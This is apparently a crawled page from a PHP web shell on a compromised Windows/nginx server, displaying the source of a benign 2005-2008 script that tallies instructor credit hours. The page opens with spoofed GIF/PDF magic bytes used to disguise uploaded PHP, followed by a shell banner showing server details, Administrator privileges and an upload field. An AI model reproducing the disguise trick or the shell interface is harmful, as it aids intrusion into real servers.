GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/ClassLoad/ |
Upload File : |
<?php // Program: Instructor Credit Loads // Author : Allen Benusa // Computes the number of credit hours that each instructor is responsible for. // // 09 Aug 2005 - Removed array_shift before sorting. // 09 Dec 2005 - Added drop down selection of semester to display. // 01 Jun 2006 - Display friendly message if animal.ridgewater.edu server is down. // 05 Jul 2006 - Change all paths to 134.29.168.15 instead of animal.ridgewater.edu // 28 Nov 2006 - Added Spr07 selection. // 29 Mar 2007 - Change all paths to 134.29.168.21 instead of 134.29.168.15 // 17 Apr 2007 - Added Fal07 selection. // 20 Dec 2007 - Added Spr08 selection. // 03 Feb 2008 - Added textual information about online courses and home campus. // 26 Apr 2008 - Added ability to see source (raw) document. Added Fal08 selection. function addArray(&$array, $key, $val) { $tempArray = array($key => $val); $array = array_merge ($array, $tempArray); } function calcLoad($url, $rawdata) { echo "<pre>"; $instructarr = array (); // Turn off error reporting for the fopen because it is possible for the animal.ridgewater.edu server to be down. // We want to hide the error from the end user and display a friendly message instead. echo "<!-- Start of reading raw data from remote server -->\n"; if ($filehandle = fopen($url, "r")) { $linecount = 0; while (!feof($filehandle) && $linecount < 6) { // Discard the first 5 lines. $linebuff = fgets($filehandle); $linecount++; } $linecount = 0; while (!feof($filehandle) && $linecount < 4) { // Print the header. $linebuff = fgets($filehandle); echo $linebuff; $linecount++; } while (!feof($filehandle)) { $classID = substr($linebuff, 0, 6); // Get just the Class ID. if (eregi("[[:digit:]]", $classID)) { // We found the start of a new class line. $credits = substr($linebuff, 51, 11); // Get the number of credits. $enrolled = substr($linebuff, 78, 3); // Get the number of students enrolled. // Get the next line and discard. // Contains grade options and dates. $linebuff = fgets($filehandle); if ($rawdata == "on") echo $linebuff; // Line for testing. $snglasterick = TRUE; $temparr = array (); $icount = 0; while (!feof($filehandle) && $snglasterick) { // Lines with a single asterick denote a line with an instructor name. $linebuff = fgets($filehandle); if ($rawdata == "on") echo $linebuff; // Line for testing. if ((substr($linebuff, 6, 1) == "*") && (substr($linebuff, 7, 1) != "*")) { // Line contains an asterick with some other character behind it. Only a single asterick. $instructor = substr($linebuff, 74, 22); // Get the name of the instructor. $icount++; // Some courses have multiple instructors. $coursecredit = $credits * $enrolled; if (isset($temparr[$instructor])) { $temparr[$instructor] = $temparr[$instructor] + $coursecredit; } else { addArray($temparr, $instructor, $coursecredit); } } else { $snglasterick = FALSE; // However keep in mind next line has been read in now. } } // while snglasterick // Calculate the correct credit load fraction and insert into the main array. $numinstructors = count($temparr); foreach($temparr as $k=>$v) { $coursecredit = $credits * $enrolled; if (isset($instructarr[$k])) { $instructarr[$k] = $instructarr[$k] + ($coursecredit / $numinstructors); } else { addArray($instructarr, $k, ($coursecredit / $numinstructors)); } } } else { // Get the next line $linebuff = fgets($filehandle); if ($rawdata == "on") echo $linebuff; // Line for testing. } // if digit } // while not EOF fclose($filehandle); echo "<!-- End of reading raw data from remote server -->\n"; echo "Instructor Credit Hours\n"; echo "=====================================\n"; ksort($instructarr); // Sort the keys alphabetically. $campuscredits = 0; foreach($instructarr as $k=>$v) { echo "$k=> " . number_format($v, 0) . "\n"; $campuscredits += $v; } echo "=====================================\n"; echo "Total credits for campus " . number_format($campuscredits, 0) . "\n"; echo "<hr />\n"; echo "</pre>\n"; } else { echo "Failed opening files."; } } // end function ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>Credit Load</title> </head> <body> <?php $semester = "fl08"; // Default setting. // These variables do not exist first time page opened. // But the do exist if it is a postback (repost). if (isset($_POST['semester'])) { $semester = $_POST['semester']; } else { $semester = ''; } if (isset($_POST['rawdata'])) { $rawdata = $_POST['rawdata']; } else { $rawdata = ''; } ?> <form name="frmSemSelec" id="frmSemSelec" method="post" action="index.php"> <p><font face="monospace" size="-1">Semester: </font> <select name="semester"> <option value="fl10" <?php if ($semester == "fl10") echo 'selected="selected"'; ?>>Fall 2010</option> <option value="sp10" <?php if ($semester == "sp10") echo 'selected="selected"'; ?>>Spring 2010</option> <option value="fl09" <?php if ($semester == "fl09") echo 'selected="selected"'; ?>>Fall 2009</option> <option value="sp09" <?php if ($semester == "sp09") echo 'selected="selected"'; ?>>Spring 2009</option> <option value="fl08" <?php if ($semester == "fl08") echo 'selected="selected"'; ?>>Fall 2008</option> <option value="sp08" <?php if ($semester == "sp08") echo 'selected="selected"'; ?>>Spring 2008</option> <option value="fl07" <?php if ($semester == "fl07") echo 'selected="selected"'; ?>>Fall 2007</option> <option value="sp07" <?php if ($semester == "sp07") echo 'selected="selected"'; ?>>Spring 2007</option> <option value="fl06" <?php if ($semester == "fl06") echo 'selected="selected"'; ?>>Fall 2006</option> <option value="sp06" <?php if ($semester == "sp06") echo 'selected="selected"'; ?>>Spring 2006</option> <option value="fl05" <?php if ($semester == "fl05") echo 'selected="selected"'; ?>>Fall 2005</option> <option value="sp05" <?php if ($semester == "sp05") echo 'selected="selected"'; ?>>Spring 2005</option> <option value="fl04" <?php if ($semester == "fl04") echo 'selected="selected"'; ?>>Fall 2004</option> <option value="sp04" <?php if ($semester == "sp04") echo 'selected="selected"'; ?>>Spring 2004</option> <option value="fl03" <?php if ($semester == "fl03") echo 'selected="selected"'; ?>>Fall 2003</option> <option value="sp03" <?php if ($semester == "sp03") echo 'selected="selected"'; ?>>Spring 2003</option> <option value="fl02" <?php if ($semester == "fl02") echo 'selected="selected"'; ?>>Fall 2002</option> <option value="sp02" <?php if ($semester == "sp02") echo 'selected="selected"'; ?>>Spring 2002</option> <option value="fl01" <?php if ($semester == "fl01") echo 'selected="selected"'; ?>>Fall 2001</option> </select> <input name="cmdSubmit" type="submit" id="cmdSubmit" value="Update" /> <input name="rawdata" type="checkbox" id="rawdata" <?php if ($rawdata == "on") echo 'checked="checked"'; ?> /> <font face="monospace" size="-1">Display raw data</font> </p> </form> <font face="monospace" size="-1">Notes: For courses that have multiple instructors,</font><br /> <font face="monospace" size="-1">the credits are split evenly between the instructors.</font><br /><br /> <font face="monospace" size="-1">For variable credit courses, the lower credit number</font><br /> <font face="monospace" size="-1">is used.</font><br /><br /> <font face="monospace" size="-1">For online courses that are offered on both campuses,</font><br /> <font face="monospace" size="-1">the course is ONLY counted on its home campus to</font><br /> <font face="monospace" size="-1">eliminate double counting.</font><br /> <?php switch ($semester) { case 'sp11': $urlH = 'http://134.29.168.21/mnscucat/20115020308_CT0175CB.HTML'; $urlW = 'http://134.29.168.21/mnscucat/20115010308_CT0175CB.HTML'; break; case 'fl10': $urlH = 'http://134.29.168.21/mnscucat/20113020308_CT0175CB.HTML'; $urlW = 'http://134.29.168.21/mnscucat/20113010308_CT0175CB.HTML'; break; case 'sp10': $urlH = 'http://134.29.168.21/mnscucat/20105020308_CT0175CB.HTML'; $urlW = 'http://134.29.168.21/mnscucat/20105010308_CT0175CB.HTML'; break; case 'fl09': $urlH = 'http://134.29.168.21/mnscucat/20103120308_CT0175CB.HTML'; $urlW = 'http://134.29.168.21/mnscucat/20103110308_CT0175CB.HTML'; break; case 'sp09': $urlH = 'http://134.29.168.21/mnscucat/20095020308_CT0175CB.HTML'; $urlW = 'http://134.29.168.21/mnscucat/20095010308_CT0175CB.HTML'; break; case 'fl08': $urlH = 'http://134.29.168.21/mnscucat/20093020308_CT0175CB.HTML'; $urlW = 'http://134.29.168.21/mnscucat/20093010308_CT0175CB.HTML'; break; case 'sp08': $urlH = 'http://134.29.168.21/mnscucat/20085020308_CT0175CB.HTML'; $urlW = 'http://134.29.168.21/mnscucat/20085010308_CT0175CB.HTML'; break; case 'fl07': $urlH = 'http://134.29.168.21/mnscucat/20083020308_CT0175CB.HTML'; $urlW = 'http://134.29.168.21/mnscucat/20083010308_CT0175CB.HTML'; break; case 'sp07': $urlH = 'http://134.29.168.21/mnscucat/20075020308_CT0175CB.HTML'; $urlW = 'http://134.29.168.21/mnscucat/20075010308_CT0175CB.HTML'; break; case 'fl06': $urlH = 'http://134.29.168.21/mnscucat/20073020308_CT0175CB.HTML'; $urlW = 'http://134.29.168.21/mnscucat/20073010308_CT0175CB.HTML'; break; case 'sp06': $urlH = 'http://134.29.168.21/mnscucat/20065020308_CT0175CB.HTML'; $urlW = 'http://134.29.168.21/mnscucat/20065030308_CT0175CB.HTML'; break; case 'fl05': $urlH = 'http://134.29.168.21/mnscucat/20063020308_CT0175CB.HTML'; $urlW = 'http://134.29.168.21/mnscucat/20063010308_CT0175CB.HTML'; break; case 'sp05': $urlH = 'http://134.29.168.21/mnscucat/20055020308_CT0175CB.HTML'; $urlW = 'http://134.29.168.21/mnscucat/20055010308_CT0175CB.HTML'; break; case 'fl04': $urlH = 'http://134.29.168.21/mnscucat/20053020308_CT0175CB.HTML'; $urlW = 'http://134.29.168.21/mnscucat/20053010308_CT0175CB.HTML'; break; case 'sp04': $urlH = 'http://134.29.168.21/mnscucat/20045020308_CT0175CB.HTML'; $urlW = 'http://134.29.168.21/mnscucat/20045010308_CT0175CB.HTML'; break; case 'fl03': $urlH = 'http://134.29.168.21/mnscucat/2004302_CT0175CB.HTML'; $urlW = 'http://134.29.168.21/mnscucat/2004301_CT0175CB.HTML'; break; case 'sp03': $urlH = 'http://134.29.168.21/mnscucat/2003502_CT0175CB.HTML'; $urlW = 'http://134.29.168.21/mnscucat/2003501_CT0175CB.HTML'; break; case 'fl02': $urlH = 'http://134.29.168.21/mnscucat/2003301_CT0175CB.HTML'; $urlW = 'http://134.29.168.21/mnscucat/2003302_CT0175CB.HTML'; break; case 'sp02': $urlH = 'http://134.29.168.21/mnscucat/2002502_CT0175CB.HTML'; $urlW = 'http://134.29.168.21/mnscucat/2002501_CT0175CB.HTML'; break; case 'fl01': $urlH = 'http://134.29.168.21/mnscucat/2002302_CT0175CB.HTML'; $urlW = 'http://134.29.168.21/mnscucat/2002301_CT0175CB.HTML'; break; } calcLoad($urlH, $rawdata); calcLoad($urlW, $rawdata); ?> <font face="monospace" size="2">Copyright © 2005 - 2008 Allen Benusa </font><br /> <font face="monospace" size="2">Version date: 26 Apr 2008 </font> </body> </html>